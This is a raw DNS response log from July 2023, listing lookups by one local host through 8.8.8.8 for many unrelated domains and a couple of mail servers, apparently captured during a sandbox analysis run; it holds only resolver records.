Jul 27, 2023 21:52:47.728111029 CEST	8.8.8.8	192.168.2.4	0x9532	No error (0)	www.stajum.com		162.43.120.128	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:48.091258049 CEST	8.8.8.8	192.168.2.4	0xf69e	No error (0)	www.ottospm.com	www.ottospm.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:48.284393072 CEST	8.8.8.8	192.168.2.4	0xe5e7	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:48.324594021 CEST	8.8.8.8	192.168.2.4	0x4977	No error (0)	www.ora-ito.com		213.186.33.40	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:49.415676117 CEST	8.8.8.8	192.168.2.4	0xc27d	No error (0)	www.tyrns.com		62.75.216.137	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:49.979983091 CEST	8.8.8.8	192.168.2.4	0xe4e4	No error (0)	www.railbook.net		103.224.212.221	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:50.152314901 CEST	8.8.8.8	192.168.2.4	0xea2	No error (0)	www.spanesi.com		5.196.166.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:50.375305891 CEST	8.8.8.8	192.168.2.4	0xa9d7	No error (0)	www.tc17.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:50.375305891 CEST	8.8.8.8	192.168.2.4	0xa9d7	No error (0)	www.tc17.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.928066969 CEST	8.8.8.8	192.168.2.4	0x8ff5	No error (0)	www.olras.com		80.93.82.33	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.929799080 CEST	8.8.8.8	192.168.2.4	0x6fa1	No error (0)	www.baijaku.com	baijaku.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:54.929799080 CEST	8.8.8.8	192.168.2.4	0x6fa1	No error (0)	baijaku.com		59.106.19.204	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.930144072 CEST	8.8.8.8	192.168.2.4	0x422c	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:54.930144072 CEST	8.8.8.8	192.168.2.4	0x422c	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.943291903 CEST	8.8.8.8	192.168.2.4	0xf632	No error (0)	www.quadlock.com	quadlock.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:54.943291903 CEST	8.8.8.8	192.168.2.4	0xf632	No error (0)	quadlock.com		70.39.251.249	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.951661110 CEST	8.8.8.8	192.168.2.4	0x7f89	No error (0)	www.jenco.co.uk		172.67.208.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.951661110 CEST	8.8.8.8	192.168.2.4	0x7f89	No error (0)	www.jenco.co.uk		104.21.23.9	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.960841894 CEST	8.8.8.8	192.168.2.4	0x2608	No error (0)	www.pdqhomes.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:54.960841894 CEST	8.8.8.8	192.168.2.4	0x2608	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:54.960841894 CEST	8.8.8.8	192.168.2.4	0x2608	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.960841894 CEST	8.8.8.8	192.168.2.4	0x2608	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.979114056 CEST	8.8.8.8	192.168.2.4	0x6309	No error (0)	www.ftchat.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.979114056 CEST	8.8.8.8	192.168.2.4	0x6309	No error (0)	www.ftchat.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:54.984343052 CEST	8.8.8.8	192.168.2.4	0x94be	No error (0)	www.dgmna.com	dgmna.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:54.984343052 CEST	8.8.8.8	192.168.2.4	0x94be	No error (0)	dgmna.com		192.124.249.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.000703096 CEST	8.8.8.8	192.168.2.4	0xec3d	No error (0)	www.wkhk.net		206.191.152.37	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.160702944 CEST	8.8.8.8	192.168.2.4	0x9427	No error (0)	www.pr-park.com		118.27.125.181	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.331115007 CEST	8.8.8.8	192.168.2.4	0x9d52	No error (0)	www.item-pr.com	item-pr.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:55.331115007 CEST	8.8.8.8	192.168.2.4	0x9d52	No error (0)	item-pr.com		213.186.33.17	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.331115007 CEST	8.8.8.8	192.168.2.4	0x9d52	No error (0)	item-pr.com		185.15.129.58	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.344384909 CEST	8.8.8.8	192.168.2.4	0x7c4e	No error (0)	www.alteor.cl	cdn1.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:55.344384909 CEST	8.8.8.8	192.168.2.4	0x7c4e	No error (0)	cdn1.wixdns.net	td-ccm-neg-87-45.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:55.344384909 CEST	8.8.8.8	192.168.2.4	0x7c4e	No error (0)	td-ccm-neg-87-45.wixdns.net		34.149.87.45	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.353072882 CEST	8.8.8.8	192.168.2.4	0x4a33	No error (0)	www.valdal.com		172.67.73.176	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.353072882 CEST	8.8.8.8	192.168.2.4	0x4a33	No error (0)	www.valdal.com		104.26.7.221	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.353072882 CEST	8.8.8.8	192.168.2.4	0x4a33	No error (0)	www.valdal.com		104.26.6.221	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.613224983 CEST	8.8.8.8	192.168.2.4	0xf2fb	No error (0)	mail.airmail.net		66.226.70.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.781255960 CEST	8.8.8.8	192.168.2.4	0x7766	No error (0)	www.rs-ag.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.781255960 CEST	8.8.8.8	192.168.2.4	0x7766	No error (0)	www.rs-ag.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.840501070 CEST	8.8.8.8	192.168.2.4	0xaf4b	No error (0)	www.depalo.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:55.840501070 CEST	8.8.8.8	192.168.2.4	0xaf4b	No error (0)	ghs.googlehosted.com		172.217.16.179	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.859004021 CEST	8.8.8.8	192.168.2.4	0xc673	No error (0)	www.elpro.si		172.67.70.22	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.859004021 CEST	8.8.8.8	192.168.2.4	0xc673	No error (0)	www.elpro.si		104.26.15.53	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.859004021 CEST	8.8.8.8	192.168.2.4	0xc673	No error (0)	www.elpro.si		104.26.14.53	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.873296022 CEST	8.8.8.8	192.168.2.4	0x8ae	No error (0)	www.nunomira.com	nunomira.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:55.873296022 CEST	8.8.8.8	192.168.2.4	0x8ae	No error (0)	nunomira.com		192.241.158.94	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:55.960407972 CEST	8.8.8.8	192.168.2.4	0x2872	No error (0)	www.credo.edu.pl		62.122.190.121	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.009320021 CEST	8.8.8.8	192.168.2.4	0xf549	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.159169912 CEST	8.8.8.8	192.168.2.4	0x3445	No error (0)	www.petsfan.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:56.159169912 CEST	8.8.8.8	192.168.2.4	0x3445	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:56.159169912 CEST	8.8.8.8	192.168.2.4	0x3445	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.159169912 CEST	8.8.8.8	192.168.2.4	0x3445	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.256480932 CEST	8.8.8.8	192.168.2.4	0x1e13	No error (0)	www.vazir.se		206.191.152.37	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.257117033 CEST	8.8.8.8	192.168.2.4	0xbecc	No error (0)	www.abart.pl	abart.pl		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:56.257117033 CEST	8.8.8.8	192.168.2.4	0xbecc	No error (0)	abart.pl		89.161.163.246	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.271447897 CEST	8.8.8.8	192.168.2.4	0xd0db	No error (0)	www.otena.com		3.64.163.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.421268940 CEST	8.8.8.8	192.168.2.4	0xfe8d	No error (0)	www.tvtools.fi		104.21.88.198	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.421268940 CEST	8.8.8.8	192.168.2.4	0xfe8d	No error (0)	www.tvtools.fi		172.67.152.159	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.516078949 CEST	8.8.8.8	192.168.2.4	0xaff6	No error (0)	www.mqs.com.br	www.mqs.com.br.cdn.gocache.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:56.516078949 CEST	8.8.8.8	192.168.2.4	0xaff6	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.174.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.516078949 CEST	8.8.8.8	192.168.2.4	0xaff6	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.173.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.600784063 CEST	8.8.8.8	192.168.2.4	0xd239	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.604639053 CEST	8.8.8.8	192.168.2.4	0x8a0b	No error (0)	www.transsib.com	www.studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:56.604639053 CEST	8.8.8.8	192.168.2.4	0x8a0b	No error (0)	www.studyrussian.com	studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:56.604639053 CEST	8.8.8.8	192.168.2.4	0x8a0b	No error (0)	studyrussian.com		80.74.154.6	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.660471916 CEST	8.8.8.8	192.168.2.4	0x1a1a	No error (0)	www.evcpa.com	evcpa.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:56.660471916 CEST	8.8.8.8	192.168.2.4	0x1a1a	No error (0)	evcpa.com		192.124.249.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.706362963 CEST	8.8.8.8	192.168.2.4	0x675e	No error (0)	www.vexcom.com		172.67.173.200	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.706362963 CEST	8.8.8.8	192.168.2.4	0x675e	No error (0)	www.vexcom.com		104.21.55.224	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:56.886679888 CEST	8.8.8.8	192.168.2.4	0xc846	No error (0)	www.ora.ecnet.jp	ora.ecnet.jp		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:56.886679888 CEST	8.8.8.8	192.168.2.4	0xc846	No error (0)	ora.ecnet.jp		60.43.154.138	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:57.031831980 CEST	8.8.8.8	192.168.2.4	0x8d8f	No error (0)	www.naoi-a.com		202.254.236.40	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:57.076792002 CEST	8.8.8.8	192.168.2.4	0x4b6f	No error (0)	www.hummer.hu	hummer.hu		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:57.076792002 CEST	8.8.8.8	192.168.2.4	0x4b6f	No error (0)	hummer.hu		185.80.51.179	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:57.078773022 CEST	8.8.8.8	192.168.2.4	0x70c3	No error (0)	www.sjbs.org	sjbs.org		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:57.078773022 CEST	8.8.8.8	192.168.2.4	0x70c3	No error (0)	sjbs.org		69.163.239.62	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:57.090770006 CEST	8.8.8.8	192.168.2.4	0xf9fb	No error (0)	www.xaicom.es	xaicom.es		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:57.090770006 CEST	8.8.8.8	192.168.2.4	0xf9fb	No error (0)	xaicom.es		188.165.133.163	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:57.099313974 CEST	8.8.8.8	192.168.2.4	0xa045	No error (0)	www.t-tre.com		135.181.73.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:57.485804081 CEST	8.8.8.8	192.168.2.4	0xfdd7	No error (0)	www.waldi.pl	waldi.pl		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:57.485804081 CEST	8.8.8.8	192.168.2.4	0xfdd7	No error (0)	waldi.pl		46.242.238.60	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:57.524575949 CEST	8.8.8.8	192.168.2.4	0xa4a	No error (0)	www.cokocoko.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:57.524575949 CEST	8.8.8.8	192.168.2.4	0xa4a	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:57.524575949 CEST	8.8.8.8	192.168.2.4	0xa4a	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:57.524575949 CEST	8.8.8.8	192.168.2.4	0xa4a	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:57.628356934 CEST	8.8.8.8	192.168.2.4	0x2e43	No error (0)	www.aevga.com	aevga.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:57.628356934 CEST	8.8.8.8	192.168.2.4	0x2e43	No error (0)	aevga.com		108.167.164.216	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.103424072 CEST	8.8.8.8	192.168.2.4	0x6cf	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.120055914 CEST	8.8.8.8	192.168.2.4	0xbb2c	No error (0)	www.nelipak.nl		82.201.61.230	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.132874966 CEST	8.8.8.8	192.168.2.4	0x54a	No error (0)	www.iamdirt.com	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:58.132874966 CEST	8.8.8.8	192.168.2.4	0x54a	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:58.132874966 CEST	8.8.8.8	192.168.2.4	0x54a	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.174453974 CEST	8.8.8.8	192.168.2.4	0x5722	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.220395088 CEST	8.8.8.8	192.168.2.4	0xffde	No error (0)	www.maktraxx.com	maktraxx.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:58.220395088 CEST	8.8.8.8	192.168.2.4	0xffde	No error (0)	maktraxx.com		72.44.93.236	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.361068964 CEST	8.8.8.8	192.168.2.4	0xea16	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.488114119 CEST	8.8.8.8	192.168.2.4	0x480f	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.510876894 CEST	8.8.8.8	192.168.2.4	0xd930	No error (0)	www.wifi4all.nl		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.510876894 CEST	8.8.8.8	192.168.2.4	0xd930	No error (0)	www.wifi4all.nl		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.775667906 CEST	8.8.8.8	192.168.2.4	0xc38	No error (0)	www.stnic.co.uk		77.68.50.105	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:58.996823072 CEST	8.8.8.8	192.168.2.4	0xc47d	No error (0)	www.speelhal.net		217.19.237.54	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:59.020889997 CEST	8.8.8.8	192.168.2.4	0x57dd	No error (0)	www.edimart.hu		81.2.194.241	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:59.066844940 CEST	8.8.8.8	192.168.2.4	0x7aed	No error (0)	www.cel-cpa.com		104.196.26.65	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:59.089900970 CEST	8.8.8.8	192.168.2.4	0xded0	No error (0)	www.fcwcvt.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:59.089900970 CEST	8.8.8.8	192.168.2.4	0xded0	No error (0)	www.fcwcvt.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:59.101515055 CEST	8.8.8.8	192.168.2.4	0x2ffa	No error (0)	www.netcr.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:59.101515055 CEST	8.8.8.8	192.168.2.4	0x2ffa	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:59.101515055 CEST	8.8.8.8	192.168.2.4	0x2ffa	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:59.101515055 CEST	8.8.8.8	192.168.2.4	0x2ffa	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:59.392673016 CEST	8.8.8.8	192.168.2.4	0x4fb8	No error (0)	www.findbc.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:59.392673016 CEST	8.8.8.8	192.168.2.4	0x4fb8	No error (0)	www.findbc.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:59.770307064 CEST	8.8.8.8	192.168.2.4	0x584b	No error (0)	www.pcgrate.com		104.21.66.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:59.770307064 CEST	8.8.8.8	192.168.2.4	0x584b	No error (0)	www.pcgrate.com		172.67.201.26	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:59.877851009 CEST	8.8.8.8	192.168.2.4	0x9132	No error (0)	www.mobilnic.net		154.203.14.100	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:00.390193939 CEST	8.8.8.8	192.168.2.4	0x81d5	No error (0)	www.abdg.com		192.252.154.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:00.392507076 CEST	8.8.8.8	192.168.2.4	0x4573	No error (0)	www.c9dd.com		188.166.152.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:00.395128965 CEST	8.8.8.8	192.168.2.4	0xd904	No error (0)	www.fe-bauer.de		3.65.101.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:00.448964119 CEST	8.8.8.8	192.168.2.4	0x8c5d	No error (0)	www.snugpak.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:00.448964119 CEST	8.8.8.8	192.168.2.4	0x8c5d	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:00.478672981 CEST	8.8.8.8	192.168.2.4	0x1f50	No error (0)	www.lrsuk.com	language-recruitment.eu-2.volcanic.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:00.478672981 CEST	8.8.8.8	192.168.2.4	0x1f50	No error (0)	language-recruitment.eu-2.volcanic.cloud	d2kt7vovxa5e81.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:00.478672981 CEST	8.8.8.8	192.168.2.4	0x1f50	No error (0)	d2kt7vovxa5e81.cloudfront.net		13.224.103.91	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:00.478672981 CEST	8.8.8.8	192.168.2.4	0x1f50	No error (0)	d2kt7vovxa5e81.cloudfront.net		13.224.103.99	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:00.478672981 CEST	8.8.8.8	192.168.2.4	0x1f50	No error (0)	d2kt7vovxa5e81.cloudfront.net		13.224.103.118	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:00.478672981 CEST	8.8.8.8	192.168.2.4	0x1f50	No error (0)	d2kt7vovxa5e81.cloudfront.net		13.224.103.24	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.018368959 CEST	8.8.8.8	192.168.2.4	0x232b	No error (0)	www.quadlock.com	quadlock.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:01.018368959 CEST	8.8.8.8	192.168.2.4	0x232b	No error (0)	quadlock.com		70.39.251.249	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.019129992 CEST	8.8.8.8	192.168.2.4	0x35a2	No error (0)	www.baijaku.com	baijaku.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:01.019129992 CEST	8.8.8.8	192.168.2.4	0x35a2	No error (0)	baijaku.com		59.106.19.204	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.022614956 CEST	8.8.8.8	192.168.2.4	0x3fcf	No error (0)	smtp.live.com	a-0010.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:01.033792973 CEST	8.8.8.8	192.168.2.4	0x5da3	No error (0)	www.pr-park.com		118.27.125.181	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.042464018 CEST	8.8.8.8	192.168.2.4	0x933b	No error (0)	www.wkhk.net		206.191.152.37	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.047127962 CEST	8.8.8.8	192.168.2.4	0x4b04	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:01.047127962 CEST	8.8.8.8	192.168.2.4	0x4b04	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.054358959 CEST	8.8.8.8	192.168.2.4	0x7574	No error (0)	www.dgmna.com	dgmna.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:01.054358959 CEST	8.8.8.8	192.168.2.4	0x7574	No error (0)	dgmna.com		192.124.249.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.056250095 CEST	8.8.8.8	192.168.2.4	0x5249	No error (0)	www.ftchat.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.056250095 CEST	8.8.8.8	192.168.2.4	0x5249	No error (0)	www.ftchat.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.060028076 CEST	8.8.8.8	192.168.2.4	0xbf34	No error (0)	www.jenco.co.uk		104.21.23.9	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.060028076 CEST	8.8.8.8	192.168.2.4	0xbf34	No error (0)	www.jenco.co.uk		172.67.208.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.072865009 CEST	8.8.8.8	192.168.2.4	0xe84a	No error (0)	www.olras.com		80.93.82.33	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.154956102 CEST	8.8.8.8	192.168.2.4	0xed61	No error (0)	www.pdqhomes.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:01.154956102 CEST	8.8.8.8	192.168.2.4	0xed61	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:01.154956102 CEST	8.8.8.8	192.168.2.4	0xed61	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.154956102 CEST	8.8.8.8	192.168.2.4	0xed61	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.610296011 CEST	8.8.8.8	192.168.2.4	0x2224	No error (0)	www.domon.com	meubles-domon.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:01.610296011 CEST	8.8.8.8	192.168.2.4	0x2224	No error (0)	meubles-domon.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:01.610296011 CEST	8.8.8.8	192.168.2.4	0x2224	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.680196047 CEST	8.8.8.8	192.168.2.4	0x1d4c	No error (0)	www.alteor.cl	cdn1.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:01.680196047 CEST	8.8.8.8	192.168.2.4	0x1d4c	No error (0)	cdn1.wixdns.net	td-ccm-neg-87-45.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:01.680196047 CEST	8.8.8.8	192.168.2.4	0x1d4c	No error (0)	td-ccm-neg-87-45.wixdns.net		34.149.87.45	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.691418886 CEST	8.8.8.8	192.168.2.4	0x573b	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.703350067 CEST	8.8.8.8	192.168.2.4	0xfed2	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:01.703350067 CEST	8.8.8.8	192.168.2.4	0xfed2	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.743284941 CEST	8.8.8.8	192.168.2.4	0x8785	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.828350067 CEST	8.8.8.8	192.168.2.4	0xe1db	No error (0)	www.fink.com		69.163.218.51	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.855647087 CEST	8.8.8.8	192.168.2.4	0xfdf2	No error (0)	www.koz1.net		72.251.233.245	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.916152954 CEST	8.8.8.8	192.168.2.4	0x7a11	No error (0)	www.pupi.cz		103.224.182.241	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.979320049 CEST	8.8.8.8	192.168.2.4	0xf6e6	No error (0)	www.pwd.org	pwd.org		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:01.979320049 CEST	8.8.8.8	192.168.2.4	0xf6e6	No error (0)	pwd.org		208.109.214.162	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.226217985 CEST	8.8.8.8	192.168.2.4	0x4776	No error (0)	www.valdal.com		104.26.7.221	A (IP address)	IN (0x0001)	false
